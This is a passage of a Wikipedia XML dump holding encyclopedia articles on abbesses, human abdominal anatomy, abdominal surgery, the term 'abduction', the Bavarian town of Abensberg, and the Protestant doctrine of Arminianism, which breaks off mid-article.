*Lin, A., and Meyers, M.A. 2005. Growth and structure in abalone shell, ''Materials Science and Engineering A'' '''390'''(Jan. 15):27–41 (see [http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TXD-4DH2DRS-1&amp;_coverDate=01%2F15%2F2005&amp;_alid=256050522&amp;_rdoc=1&amp;_fmt=&amp;_orig=search&amp;_qd=1&amp;_cdi=5588&amp;_sort=d&amp;view=c&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=f4efd0a3d7cf3b4a0b8f9861cff4514d abstract])
*[http://www.dfg.ca.gov/mrd/ab_info.html California Red Abalone]
*[http://www.isa.org/InTechTemplate.cfm?Section=InTech&amp;template=/ContentManagement/ContentDisplay.cfm&amp;ContentID=41313 Bullet proof abalone]
*[http://www.seapulse.com/gallery/details.php?image_id=7 Abalone Varieties]

==External links==
{{Commons|Category:Haliotidae}}
* [http://www.wired.com/news/technology/0,1282,49847,00.html Abalone Farming on a Boat]
*[http://www.ocde.k12.ca.us/sciencek12/Tidepool7/index.htm Abalone biology]
* [http://texts.cdlib.org/dynaxml/servlet/dynaXML?docId=kt738nb1zx&amp;doc.view=frames&amp;chunk.id=d0e112&amp;toc.depth=1&amp;toc.id=d0e112&amp;query=0 Online Archive of California]
* [http://www.conchology.be/availableShells/SearchspeciesGallery.php?family=HALIOTIDAE&amp;species=&amp;index=true Conchology]
* [http://www.specimenshells.net/5266.htm Specimen shells; many pictures.]
* [http://manandmollusc.net/links_gastropoda.html Man and Mollusk : many links]
* [http://www.homepages.paradise.net.nz/ljhill/ Natural Abalone &quot;horn&quot; Pearls : Sample photos]
* [http://web.uct.ac.za/depts/zoology/abnet/species.html Imagemap of worldwide abalone distribution]

[[Category:Gastropods]]
[[Category:Chinese cuisine]]
[[Category:Seafood]]
[[Category:Tree of Life cleanup]]

[[de:Seeohren]]
[[ja:アワビ]]
[[tr:Denizkulağı (Hayvan)]]
[[uk:Абалон]]
[[zh:鮑魚]]</text>
    </revision>
  </page>
  <page>
    <title>Abbess</title>
    <id>1301</id>
    <revision>
      <id>41813052</id>
      <timestamp>2006-03-01T22:38:09Z</timestamp>
      <contributor>
        <username>JeffW</username>
        <id>927455</id>
      </contributor>
      <comment>not a people category</comment>
      <text xml:space="preserve">An '''Abbess''' ([[Latin]] ''abbatissa,'' fem. form of ''abbas,'' [[abbot]]) is the female [[religious superior|superior]], or [[Mother Superior]], of an
[[abbey]] or [[abbey|convent]] of [[nun]]s.

The mode of election, position, rights and authority of an abbess correspond generally with those of an [[abbot]]. The office is elective, the choice being by the secret votes of the sisters from their own body.  The abbess is solemnly admitted to her office by [[episcopal]] [[benediction]], together with the 
conferring of a staff and pectoral cross, and holds for life, though liable to be deprived for misconduct.
The [[council of Trent]] fixed the qualifying age at forty, with eight years of profession.  Abbesses have a right to demand absolute obedience of their nuns, over whom they exercise discipline, extending even to the power of expulsion, subject, however, to the [[bishop]].  As a female an abbess is incapable of performing the spiritual functions of the priesthood belonging to an abbot.  She cannot ordain, confer the veil, nor excommunicate.  In England abbesses attended ecclesiastical councils, e.g. that of Becanfield in [[694]], where they signed before the [[presbyter]]s. 

By [[Celtic Christianity|Celtic]] usage abbesses presided over joint-houses of monks and nuns.  This custom accompanied Celtic monastic missions to France and Spain, and even to Rome itself.  At a later period, A.D. [[1115]], Robert, the founder of [[Fontevraud Abbey]] near [[Chinon]] and [[Saumur]], [[France]] committed the government of the whole order, men as well as women, to a female superior. 

In the German Evangelical church the title of abbess (''Äbtissin'') has in some cases--e.g. Itzehoe--survived to designate the heads of abbeys which since the Protestant [[Reformation]] have continued as ''Stifte,'' i.e. collegiate foundations, which provide a home and an income for unmarried ladies, generally of noble birth, called canonesses (''Kanonissinen'') or more usually ''Stiftsdamen.'' This office of abbess is of considerable social dignity, and was sometimes filled by princesses of the reigning houses. 

{{Wikisource1911Enc|Abbess}}
{{1911}}

[[Category:Religious work]]
[[Category:Religious executives]]
[[Category:Roman Catholic Church offices]]
[[Category:1911 Britannica]]

[[da:Abbedisse]]
[[it:Badessa]]
[[gl:Abadesa]]
[[ru:Аббатиса]]
[[fi:Abbedissa]]
[[sv:Abbedissa]]</text>
    </revision>
  </page>
  <page>
    <title>Human abdomen</title>
    <id>1302</id>
    <revision>
      <id>41551531</id>
      <timestamp>2006-02-28T02:35:14Z</timestamp>
      <contributor>
        <username>Shadowcaster</username>
        <id>736084</id>
      </contributor>
      <comment>Removed image. picture was unproffesional to be included.</comment>
      <text xml:space="preserve">The human abdomen (from the [[Latin]] word meaning &quot;belly&quot;) is the part of the body between the [[pelvis]] and the [[thorax]]. Anatomically, the abdomen stretches from the thorax at the [[thoracic diaphragm]] to the pelvis at the [[pelvic brim]]. The '''pelvic brim''' stretches from the [[lumbosacral angle]] (the [[intervertebral disk]] between L5 and S1) to the [[pubic symphysis]] and is the edge of the [[pelvic inlet]]. The space above this inlet and under the thoracic diaphragm is termed the [[abdominal cavity]]. The boundary of the abdominal cavity is the abdominal wall in the front and the peritoneal surface at the rear.

Functionally, the human abdomen is where most of the [[alimentary tract]] is placed and so most of the absorption and digestion of food occurs here. The alimentary tract in the abdomen consists of the lower [[oesophagus]], the [[stomach]], the [[duodenum]], the [[jejunum]], [[ileum]], the [[cecum]] and the [[Vermiform appendix|appendix]], the [[ascending colon|ascending]], [[transverse colon|transverse]] and [[descending colon|descending colons]], the [[sigmoid colon]] and the [[rectum]]. Other vital organs inside the abdomen include the [[liver]], the [[kidneys]], the [[pancreas]] and the [[spleen]]. 

The '''abdominal wall''' is split into the posterior (back), lateral (sides) and anterior (front) walls. There is a common set of layers covering and forming all the walls: the deepest being the [[extraperitoneal fat]], the [[parietal peritoneum]], and a layer of [[fascia]] which has different names over where it covers (eg transversalis, psoas fascia). Superficial to these, but ''not'' present in the posterior wall are the three layers of muscle, the [[transversus abdominus]] (tranvserse abdominal muscle), the [[internal oblique|internal]] (obliquus internus) and the [[external oblique]] (obliquus externus).

==Muscles of the abdominal wall==
[[Image:Grays_Anatomy_image392.png|thumb|RIGHT|200px|''Henry Gray (1825–1861).  Anatomy of the Human Body.'']] 
The obliquus externus ([[external oblique muscle|external oblique]]) [[muscle]] is the outermost muscle covering the side of the abdomen. It is broad, flat, and irregularly quadrilateral. It originates on the lower eight [[rib]]s, and then curves down and forward towards its insertion on the outer anterior crest of the [[Ilium (disambiguation)|ilium]] and (via the sheath of the [[rectus abdominus]] muscle) the midline [[linea alba]].

The obliquus internus ([[internal oblique muscle|internal oblique]]) muscle is triangularly shaped and is smaller and thinner than the external oblique muscle that overlies it. It originates from [[Poupart's ligament]]/[[inguinal ligament]] and the inner anterior crest of the ilium. The lower two-thirds of it insert, in common with fibers of the external oblique and the underlying transversus abdominus, into the [[linea alba]].  The upper third inserts into the lower six ribs.  The transversus abdominus muscle is  flat and triangular, with its fibers running horizontally. It lies between the internal oblique and the underlying transversalis fascia.  It originates from Poupart's ligament, the inner lip of the ilium, the lumbar fascia and the inner surface of the [[cartilage]]s of the six lower ribs. It inserts into the linea alba behind the [[rectus abdominis]].

The [[rectus abdominis muscle]]s are long and flat. They originate at the [[pubic bone]], run up the abdomen on either side of the linea alba, and insert into the cartilages of the fifth, sixth, and seventh ribs. The muscle is crossed by three [[tendon|tendinous]] intersections called the [[linae transversae]].  The rectus abdominus is enclosed in a thick sheath formed, as described above, by fibers from each of the three muscles of the lateral abdominal wall.

The [[pyramidalis muscle]] is small and triangular. It is located in the lower abdomen in front of the rectus abdominis. It originates at the pubic bone and is inserted into the linea alba half way up to the [[umbilicus]] (belly button).

== Abdominal organs ==
[[Image:Gray1120.png|thumb|RIGHT|200px|The relations of the viscera and large vessels of the abdomen.]] 
The abdomen contains most of the tubelike organs of the digestive tract, as well as several solid organs. Hollow abdominal organs include the [[stomach]], the [[small intestine]], and the [[colon (anatomy)|colon]] with its attached [[Vermiform appendix|appendix]]. Organs such as the [[liver]], its attached [[gallbladder]], and the [[pancreas]] function in close association with the digestive tract and communicate with it via ducts. The [[spleen]], [[kidney]]s, and [[adrenal gland]]s also lie within the abdomen, along with many blood vessels including the [[aorta]] and [[venae cavae|inferior vena cava]]. Anatomists may consider the [[urinary bladder]], [[uterus]], [[fallopian tube]]s, and [[ovary|ovaries]] as either abdominal organs or as pelvic organs. Finally, the abdomen contains an extensive membrane called the [[peritoneum]]. A fold of peritoneum may completely cover certain organs, whereas it may cover only one side of organs that usually lie closer to the abdominal wall. Anatomists call the latter type of  organs ''retroperitoneal.''

== Surface landmarks of the abdomen ==

In the mid-line a slight furrow extends from the ensiform cartilage/[[xiphoid process]] above to the [[symphysis pubis]] below, representing the [[linea alba]] in the abdominal wall. At about its midpoint sits the umbilicus or navel.  On each side of it the broad recti muscles stand out in muscular people.  The outline of these muscles is interrupted by three or more transverse depressions indicating the [[lineae transversae]].  There is usually one about the [[ensiform cartilage]], one at the [[umbilicus]], and one between.  It is the combination of the linea alba and the linea transversae which form the abdominal &quot;six-pack&quot; sought by body builders.
 
The upper lateral limit of the abdomen is the subcostal margin formed by the cartilages of the false ribs (8, 9, 10) joining one another.  The lower lateral limit is the anterior 
crest of the [[ilium]] and [[Poupart's ligament]], which runs from the anterior superior spine of the ilium to the spine of the [[pubis]].  These lower limits are marked by visible grooves.  Just above the pubic spines on either side are the external abdominal rings, which are openings in the muscular wall of the abdomen through which the [[spermatic cord]] emerges in the male, and through which an [[inguinal hernia]] may rupture.
 
One method by which the location of the abdominal contents can be appreciated is to draw three horizontal and two vertical lines.  The highest of the former is the [[transpyloric line]] of C. Addison, which is situated half-way between the [[suprasternal notch]] and the top of the symphysis pubis, and often cuts the pyloric opening of the stomach an inch to the right of the mid-line.  The [[hilum]] of each [[kidney]] is a little below it, while its left end approximately touches the lower limit of the [[spleen]].  It corresponds to the first lumbar vertebra behind.  The second line is the subcostal, drawn from the lowest point of the [[subcostal arch]] (tenth rib).  It corresponds to the upper part of the third lumbar vertebra, and it is an inch or so above the umbilicus. It indicates roughly the [[transverse colon]], the lower ends of the kidneys, and the upper limit of the transverse (3rd) part of the [[duodenum]].  The third line is called the intertubercular, and runs across between the two rough [[tubercle]]s, which can be felt on the outer lip of the crest of the ilium about two and a half inches (60 mm) from the anterior superior spine.  This line corresponds to the body of the fifth lumbar vertebra, and passes through or just above the [[ileo-caecal valve]], where the [[small intestine]] joins the [[large intestine|large]].  The two vertical or mid-Poupart lines are drawn from the point midway between the anterior superior spine and the pubic symphysis on each side, vertically upward to the costal margin.  The right one is the most valuable, as the [[ileo-caecal valve]] is situated where it cuts the intertubercular line. The orifice of the [[vermiform appendix]] lies an inch lower, at [[McBurney's point]].  In its upper part, the vertical line meets the transpyloric line at the lower margin of the ribs, usually the ninth, and here the [[gallbladder]] is situated.  The left mid-Poupart line corresponds in its upper three-quarters to the inner edge of the [[descending colon]].  The right subcostal margin corresponds to the lower limit of the [[liver]], while the right nipple is about half an inch above the upper limit of this [[viscus]].

These three horizontal and two vertical lines divide the abdomen into nine &quot;regions.&quot; These regions are: the left and right [[hypchondria]] the left and right lateral regions, the left and right [[inguinal]] regions, the [[epigastrium]], the umbilical region, and the pubic region.

==See also==
* [[Waist]]
* [[List of muscles of the human body]]
* [[Alimentary canal]]
* [[Abdominal pain]]

==References==
*Tortora, Gerard J., Anagnostakos, Nicholas P. (1984) ''Principles of Anatomy and Physiology'', Harper &amp; Row Publishers, New York ISBN 0-06-046656-1
*Gray, Henry, (1977) ''Anatomy, Descriptive and Surgical (Gray's Anatomy)'' Bounty Books
*Taber, Clarence Wilber, (1981) ''Taber's Cyclopedic medical dictionary 14 Edition'', F.A Davis Company, Philadelphia ISBN 0-8036-8307-3

[[Category:Abdomen]]
[[Category:Human anatomy]]

{{human anatomical features}}

[[de:Abdomen]]
[[es:Abdomen]]
[[fr:Abdomen]]
[[gl:Abdome]]
[[it:Addome]]
[[he:בטן]]
[[lt:Pilvelis]]
[[nl:Buik]]
[[pl:Odwłok]]
[[pt:Abdómen]]
[[simple:Abdomen]]
[[tl:Abdomen]]</text>
    </revision>
  </page>
  <page>
    <title>Abdominal surgery</title>
    <id>1303</id>
    <revision>
      <id>29398876</id>
      <timestamp>2005-11-27T18:37:15Z</timestamp>
      <contributor>
        <username>Nephron</username>
        <id>321400</id>
      </contributor>
      <minor />
      <comment>+gen surg</comment>
      <text xml:space="preserve">The term '''''abdominal surgery''''' broadly covers surgical procedures that involve opening the [[abdomen]].  Surgery of each abdominal organ is dealt with separately in connection with the description of that organ (see [[stomach]], [[kidney]], [[liver]], etc.) Diseases affecting the abdominal cavity are dealt with generally under their own names (e.g. [[appendicitis]]).  The three most common abdominal surgeries are described below. 

*Exploratory [[Laparotomy]] -- This refers to the opening of the [[abdominal cavity]] for direct examination of its contents, for example, to locate a source of bleeding or [[Physical trauma|trauma]]. It may or may not be followed by repair or removal of the primary problem. 

*[[Appendectomy]] -- Surgical opening of the abdominal cavity and removal of the [[vermiform appendix|appendix]].  Typically performed as definitive treatment for [[appendicitis]], although sometimes the appendix is prophylactically removed incidental to another abdominal procedure. 

*[[Laparoscopy]] -- A [[minimally invasive]] approach to abdominal surgery where rigid tubes are inserted through small incisions into the abdominal cavity. The tubes allow introduction of a small camera, surgical instruments, and gases into the cavity for direct or indirect visualization and treatment of the abdomen. The abdomen is inflated with carbon dioxide gas to facilitate visualization and, often, a small video camera is used to show the procedure on a monitor in the operating room.  The surgeon manipulates instruments within the abdominal cavity to perform procedures such as cholecystectomy (gallbladder removal), the most common laparoscopic procedure.  The laparoscopic method speeds recovery time and reduces blood loss and infection as compared to the traditional &quot;open&quot; [[cholecystecomy]]. 

Complications of abdominal surgery include [[hemorrhage|bleeding]], [[infection]], [[shock]], and ileus (short-term paralysis of the bowel.) Sterile technique, [[aseptic]] post-operative care, [[antibiotics]], and vigilant post-operative [[monitoring]] greatly reduce the risk of these complications.  Planned surgery performed under sterile conditions is much less risky than that performed under emergency or unsterile conditions.  The contents of the bowel are unsterile, and thus leakage of bowel contents, as from [[trauma]], substantially increases the risk of infection.

{{Wikisource1911Enc|Abdominal surgery}}
==See also== 
*[[Abdominoplasty]]
*[[General Surgery]]

[[Category:Types of surgery]]</text>
    </revision>
  </page>
  <page>
    <title>Abduction</title>
    <id>1304</id>
    <revision>
      <id>39531714</id>
      <timestamp>2006-02-14T03:05:05Z</timestamp>
      <contributor>
        <username>Dcfleck</username>
        <id>81021</id>
      </contributor>
      <minor />
      <comment>Removing redlink</comment>
      <text xml:space="preserve">{{Wiktionarypar|abduction}}
'''Abduction''' may refer to:
* [[Kidnapping]], as a near synonym in criminal law, but sometimes used particularly in cases involving a woman or child
* [[Abduction (physiology)]], a type of movement involving a change in organ or limb position
* [[Abductive reasoning]], a method of reasoning in logic
* [[Child abduction]], the abduction or kidnapping of a young child (or baby) by an older person
* [[Abduction phenomenon]], an umbrella term used to describe a number of hypotheses, claims or assertions stating that extraterrestrial creatures kidnap individuals
* [[North Korean abductions of Japanese]] or [[North Korean abductions of South Koreans]], a policy of abduction during the 1970s and 1980s pursued by the North Korean government
* [[Abduction: The Megumi Yokota Story]], a 2005 American documentary film

{{disambig}}

[[ca:abducció]]
[[de:Verschleppung]]
[[fr:Abduction]]
[[nl:Ontvoering]]
[[ja:拉致]]
[[ru:Абдукция]]
[[tl:Abduksyon]]</text>
    </revision>
  </page>
  <page>
    <title>Abensberg</title>
    <id>1305</id>
    <revision>
      <id>38478174</id>
      <timestamp>2006-02-06T16:36:35Z</timestamp>
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        <username>Tsca.bot</username>
        <id>601940</id>
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      <minor />
      <comment>robot  adding: nl, pl</comment>
      <text xml:space="preserve">'''Abensberg''' is a town in [[Bavaria]], [[Germany]]. It used to be a spa town located at {{coor dm|48|49|N|11|51|E|type:city(12500)_region:DE-BY}}, on the Abens, a tributary of the [[Danube]], 18 m.  S.W. of [[Regensburg]], with which it is connected by rail and motorway (A93).  Pop. (2004) about 12500.

It has a small spa, and its sulphur baths are resorted to for the cure of rheumatism and gout. The water is not used any more.  The town is the Castra Abusina of the Romans, and Roman remains exist in the neighbourhood.

Here, in the [[Battle of Abensberg]] on the 20th of April 1809, [[Napoleon]] gained a signal victory over the Austrians under the Archduke Louis and General Hiller. 

Abensberg is the birthplace of [[Johannes Aventinus]].

Abensberg is also a [[seal district]] of the [[Hallertau]] [[hop (plant)|hop-planting]] area.

==References==
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  </page>
  <page>
    <title>Arminianism</title>
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      <timestamp>2006-03-04T02:26:45Z</timestamp>
      <contributor>
        <username>David Schroder</username>
        <id>937976</id>
      </contributor>
      <comment>(1) Changes based on peer review - mostly minor; (2) combination of the two alternative views on election into one uniform view (see talk)</comment>
      <text xml:space="preserve">{{Arminianism}}
:''For the Armenian nationality, see [[Armenia]] or the [[Armenian language]].''
:''For the theological doctrines of [[Arius]], see [[Arianism]].''

'''Arminianism''' is a school of [[Soteriology|soteriological]] thought in [[Protestant]] [[Christian theology]] founded by the Dutch theologian [[Jacobus Arminius]]. Its acceptence stretches through much of mainstream [[Protestantism]], particularly [[Evangelicalism]]. Due to the influence of [[John Wesley]], it is perhaps most prominent in the [[Methodism|Methodist movement]]. 

Arminianism is historically viewed as the primary opponent of [[Calvinism]]. Its main tenets hold that:
* All men are naturally unable to make any effort towards salvation
* God's election is conditional on faith in Jesus
* Jesus' atonement was potentially for all people
* God's grace does not act in a deterministic fashion 
* Salvation can be lost, as continued salvation is conditional upon continued faith

Within the broad scope of [[History of Christianity | church history]], Arminianism and Calvinism are closely related. Nonetheless, debates from respective followers are often so heated and public that direct references to both doctrines appear frequently in [[Culture of the United States | American culture]].

Arminianism is most accurately used to define those who affirm the original beliefs of Jacobus Arminius himself, but the term can also be understood as an umbrella for a larger grouping of ideas including those of [[Hugo Grotius]], [[John Wesley]], [[Clark Pinnock]], and others. There are two primary perspectives on how the system is applied in detail: Classical Arminianism, which sees Arminius as its figurehead, and Wesleyan Arminianism, which (as the name suggests) sees John Wesley as its figurehead. Wesleyan Arminianism is sometimes synonomous with Methodism. Additionally, Arminianism is understood by its critics to also include [[Pelagianism]], though supporters from both primary perspectives deny this vehemently.

==History==
:''Main artcle: [[History of Calvinist-Arminian Debate]]''

Jacobus Arminius was a Dutch pastor and theologian in the late 16th and early 17th centuries. He was taught by Theodore Beza, Calvin's hand-picked successor, but he rejected his teacher's theology as making God the author of sin. Instead Arminius proposed that the election of God was ''of believers'', thereby making it [[Conditional election | conditional on faith]]. Arminius's views were challenged by the Dutch Calvinists, but Arminius died before a national synod could occur.

Arminius followers, not wanting to adopt their leader's name, called themselves the [[Remonstrants]]. When Arminius died before he could satisfy Holland's State General's request for a 14-page paper outlining his views, the Remonstrants replied in his stead crafting the [[Five articles of Remonstrance]]. After some political manuevering, the Dutch Calvinists were able to convince [[Maurice de Nassau | Prince Maurice of Nassau]] deal with the situation. Maurice systematically removed Arminian magistrates from office and called a national synod at Dordrecht. This [[Synod of Dort]] was open primarily to Dutch Calvinists (Arminians were excluded) with token Calvinist representatives from other countries, and in 1618 published a condemnation of Arminius and his followers as heretics. Part of this publication was the famous [[Five points of Calvinism]] in response to the five articles of Remonstrance.

Arminians across Holland were removed from office, imprisoned, banished, and sworn to silence. Twelve years later Holland officially granted Arminianism protection as a religion, although animosity between Arminians and Calvinists continued.

The debate between Calvin's followers and Arminius' followers is distinctive of post-Reformation church history. The heated discussions between friends and fellow [[Methodist]] ministers [[John Wesley]] and [[George Whitfield]] were characteristic of many similar debates. Wesley was a champion of Arminius' teachings, defending his [[soteriology]] in a periodical titled ''The Arminian'' and writing articles such as ''Predestination Calmly Considered''. He defended Arminius against charges of [[semi-Pelagianism]], holding strongly to beliefs in original sin and total depravity. At the same time, Wesley attacked the [[determinism]] that he claimed characterized unconditional election and maintained a belief in the [[Conditional Preservation of the Saints | ability to lose salvation]]. Wesley also clarified the doctrine of [[prevenient grace]] and preached the ability of Christians to attain to [[Christian perfection | perfection]].

==Current landscape==
Advocates of both Arminianism and Calvinism find a home in many Protestant denominations. Denominations leaning in the Arminian direction include Anglicans, [[Methodism | Methodists]], General Baptists, Pentecostals, and Charismatics. Denominations leaning in the Calvinist direction include Particular Baptists, Reformed Baptists, Presbyterians, and Congregationalists. The majority of [[Southern Baptists]], including [[Billy Graham]], accept Arminianism with an exception allowing for [[Perseverance of the saints | perseverance of the saints]]{{Ref|1-BFM}}, {{Ref|2-Harmon}}, {{Ref|3-Walls}} although many see Calvinism as growing in acceptance.{{Ref|4-Walls}} The majority of [[Lutherans]] hold to a mediating view taught by [[Philip Melanchthon]]. 

The current scholarly support for Arminianism is wide and varied. One particular thrust is a return to the teachings of Arminius - a system termed ''Classical'' Arminianism by F. Leroy Forlines (author of ''The Quest for Truth: Answering Life's Inescapable Questions''). Stephen Ashby (professor at Ball State University and contributor to ''Four Views on Eternal Security'') and Robert Picirilli (pastor, former academic dean and professor at Free Will Baptist Bible College, and author of ''Grace, Faith, and Free Will'') are two of the more prominent supporters. Through [[Methodism]], Wesley's teachings also inspire a large scholarly following, with vocal proponents including [[J. Kenneth Grider]], [[Stanley Hauerwas]], and [[William Willimon]]. 

Recent influence of the [[New Perspective on Paul]] movement has also strongly influenced Arminianism - primarily through a view of corporate election. Proponents of this movement include [[James Dunn (theologian) | James Dunn]] and [[Tom Wright (theologian) | N.T. Wright]]. Other Arminian theologians holding similar perspectives but not directly aligned with the New perspectives movement include Robert Shank (author of 'Elect in the Son'), [[David Pawson]] (British teacher/theologian and author of ''Once Saved, Always Saved?''), Paul Marston and Roger Forster (co-authors of ''God's Strategy in Human History''), Jerry Walls and Joseph Dongell (professors at [[Asbury Theological Seminary]] and co-authors of ''Why I Am Not a Calvinist'').

==Theology==
Arminian theology usually falls into one of two groups - Classical Arminianism, drawn from the teaching of Jacobus Arminius - and Wesleyan Arminian, drawing primarily from Wesley. Both groups overlap substantially. In addition, 

===Classical Arminianism===
[[Image:Arminius.jpg|thumbnail|300px|right|Portrait of [[Jacobus Arminius]].]]
Classical Arminianism (sometimes titled Reformed Arminianism or Reformation Arminianism) is the theological system that was presented by [[Jacobus Arminius]] and maintained by the [[Remonstrants]]{{ref|5-Ashby}}; its influence serves as the foundation for all Arminian systems. A list of beliefs is given below:

*'''Depravity is [[Total depravity | total]]''': Arminius states &quot;In this [fallen] state, the free will of man towards the true good is not only wounded, infirm, bent, and weakend; but it is also imprisoned, destroyed, and lost. And its powers are not only debilitated and useless unless they be assisted by grace, but it has no powers whatever except such as are excited by Divine grace.&quot;{{ref|6-Arminius}}

*'''Atonement is intended [[Unlimited atonement | for all]]''': Jesus' death was for all people, Jesus draws all people to himself, and all people have opportunity for salvation through faith.{{ref|7-Arminius}}

*'''Jesus' death [[Atonement (Satisfaction view) | satisfies]] God's justice''': The penalty for the sins of the elect are paid in full through Jesus' work on the cross. Thus Christ's atonement is intended for all, but requires faith to be effected. Arminius states &quot;Justification, when used for the act of a Judge, is either purely the imputation of righteoussness through mercy...or that man is justified before God...according to the rigour of justice without any forgiveness.&quot;{{ref|8-Arminius}} Stephen Ashby clarifies &quot;Arminius allowed for only two possible ways in which the sinner might be justified: (1) by our absolute and perfect adherence to the law, or (2) purely by God's imputation of Christ's righteousness.&quot;{{ref|9-Ashby}}

*'''Grace is resistible''': God takes initiative in the salvation process and His grace comes to all people. This grace (often called ''[[Prevenient Grace | prevenient]]'' or pre-regenerating grace) acts on all people to convict them of the Gospel, draw them strongly towards salvation, and enable the possibility of sincere faith. Picrilli states &quot;indeed this grace is so close to regeneration that it inevitably leads to regeneration unless finally resisted.&quot; {{ref|10-Picirilli}} The offer of salvation through grace does not act irresistably in a purely cause-effect, deterministic method but rather in an influence-and-response fashion that can be both freely accepted and freely denied.{{ref|11-Forlines}}

*'''Man has free will to respond or resist''': Free will is limited by God's sovereignty, but God sovereignly allows all men the choice to accept the Gospel of Jesus through faith, simultaneously allowing all men to resist.

*'''Election is [[Conditional election | conditional]]''': Arminius defined ''election'' as &quot;the decree of God by which, of Himself, from eternity, He decreed to justify in Christ, believers, and to accept them unto eternal life.&quot;{{ref|12-Arminius}} God alone determines who will be saved and his determination is that all who believe Jesus through faith will be justified. According to Arminius, &quot;God regards no one in Christ unless they are engrafted in him by faith.&quot;{{ref|13-Arminius}}

*'''God predestines the elect to a glorious future''': Predestination is not the predetermination of who will believe, but rather the predetermination of the believer's future inheritance. The elect are therefore predestined to sonship through adoption, glorification, and eternal life.{{ref|14-Pawson}}

*'''Eternal security is also [[Conditional Preservation of the Saints | conditional]]''': All believers have full assurance of salvation with the condition that they remain in Christ. Salvation is conditioned on faith, therefore perseverance is also conditioned.{{ref|15-Picirilli}} Apostasy (turning from Christ) is only commited through a deliberate, willful rejection of Jesus and renouncement of belief.{{ref|16-Picirilli}}

The [[Five articles of Remonstrance]] that Arminius' followers formulated in 1610 state the above beliefs regarding (I) conditional election, (II) unlimited atonement, (III) total depravity, (IV) total depravity and resistable grace, and (V) possibility of apostasy. Note, however, that the five articles completely denied perseverance of the saints; Arminius, himself, said that &quot;I never taught that a true believer can...fall away from the faith...yet I will not conceal, that there are passages of Scripture which seem to me to wear this aspect; and those answers to them which I have been permitted to see, are not of such as kind as to approve themselves on all points to my understanding.&quot;{{Ref|17-Arminius}} 

The core beliefs of Jacobus Arminius and the Remonstrants are summarized as such by theologian Stephen Ashby:

:1. Prior to being ''drawn and enabled'', one is ''unable to believe...able only to resist.''&lt;br&gt;
:2. Having been ''drawn and enabled'', but prior to regeneration, one is ''able to believe...able also to resist.''&lt;br&gt;
:3. After one ''believes'', God then regenerates; one is ''able to continue believing...able also to resist.''&lt;br&gt;
:4. Upon ''resisting'' to the point of ''unbelief'', one is ''unable again to believe...able only to resist.''{{Ref|18-Ashby}}&lt;br&gt;

===Wesleyan Arminianism===
:''See also: [[Methodism]]''
Apart from Arminius himself, John Wesley has historically been the strongest proponent of Arminianism. Wesley thoroughly agreed with the vast majority of what Arminius taught, maintaining strong doctrines of original sin, total depravity, conditional election, prevenient grace, unlimited atonement, and possibly apostasy.
[[Image:John_Wesley.jpg|thumbnail|350px|right|Portrait of [[John Wesley]].]]
Wesley departs from tradition and forges into new theological territory on three issues primarily.
* '''Atonement''' - Wesley's atonement is a hybrid of the [[Atonement (Satisfaction view) | penal substitution theory]] and [[Hugo Grotius]]' (a lawyer and one of the Remonstrants) [[Atonement (Governmental view) | governmental theory]]. Steven Harper states &quot;Wesley does not place the substitionary element primarily within a legal framework...rather it is the need to bring into proper relationship the 'justice' between God's love for persons and God's hatred of sin...it is not the satisfaction of a legal demand for justice so much as it is an act of mediated reconciliation.&quot; {{ref|19-Harper}} 
* '''Possibility of apostasy''' - Wesley fully acknowledges the possibility that Christians could apostasize and lose their salvation. Wesley's sermon ''A call to backsliders'' is one of his more influential sermons, and Harper summarizes as follows: &quot;the act of committing sin is not in itself ground for the loss of salvation...the loss of salvation is much more related to experiences that are profound and prolonged. Wesley sees two primary pathways that could result in a permanent fall from grace: unconfessed sin and the actual expression of apostasy.&quot; {{Ref|20-Harper}} Wesley disagrees with Arminius, however, in maintaining that apostasy was not final; Wesley himself, when talking about those who have made &quot;shipwrecks&quot; of their faith (1 Tim 1:19), claims that &quot;not one, or a hundred only, but I am persuaded, several thousands...Innumerable are the instances of this kind, of those who had fallen but now stand upright.&quot;{{Ref|21-Wesley}}
* '''[[Christian perfection]]''' - Christian perfection, according to Wesley, is “purity of intention, dedicating all the life to God” and “the mind which was in Christ, enabling us to walk as Christ walked.” It is “loving God with all our heart, and our neighbor as ourselves”. {{ref|22-Wesley}} It is 'a restoration not only to the favour, but likewise to the image of God,” our “being filled with the fullness of God&quot;.{{ref|23-Wesley}} Wesley was clear that Christian perfection did not imply perfection of bodily health or an infallibility of judgment. It also does not mean we no longer violate the will of God, for involuntary transgressions remain. Perfected Christians remain subject to temptation, and have continued need to pray for forgiveness and holiness. It is not an absolute perfection but a perfection in love. Furthermore, Wesley did not teach a salvation by perfection, but rather says that, &quot;Even perfect holiness is acceptable to God only through Jesus Christ.&quot;{{Ref|24-Wesley}}

===Other variations===

Since the time of Arminius, his name has come to represent a very large variety of beliefs. Some of these beliefs, such as Pelagianism (see [[Arminianism#Pelagianism | below]]) are not considered to be within Arminianism orthodoxy and are dealt with elsewhere. Some doctrines, however, do adhere to the Arminian foundation and, while minority views, are highlighted below.

====Open theism====
:''Main article: [[Open theism]]''

The doctrine of open theism states that God is not all-powerful, all-knowing, all-present, but is rather ''most''-powerful, ''most''-knowing, ''most''-present. As such, open theists resolve the issue of human free will and God's sovereignty by claiming that God is not logically capable of predetermining human choices - salvation or otherwise. [[Clark Pinnock]] is one of the most well-known propenents.

Some Arminians, such as professor and theologian Robert Picirilli, reject the doctrine of open theism as a &quot;deformed Arminianism&quot;.{{Ref|25-Picirilli}} Joseph Dongell stated that &quot;open theism actually moves beyond classical Arminianism towards process theology.&quot;{{Ref|26-Dongell}} The majority Arminian view accepts [[Classical Theism | classical theism]] - the belief that God's power, knowledge, and presence have no limits outside of His divine character. Most Arminians reconcile human free will with God's sovereignty and foreknowledge by holding three points:
* Human free will is limited by original sin, though God's [[prevenient grace]] restores to humanity the ability to accept God's call of salvation.{{ref|27-Picirilli}}
* God purposely exercises his sovereignty in ways that do not illustrate its extent - in other words, He has the power and authority to predetermine salvation but he chooses to apply it through different means.{{ref|28-Ashby}}
* God's foreknowledge of the future is exhaustive and complete, and therefore the future is certain and not contingent on human action. God does not determine the future, but He does know it. God's certainty and human contingency are compatible.{{ref|29-Picirilli}}

====Corporate view of election====
:''See also: [[Conditional election]]''

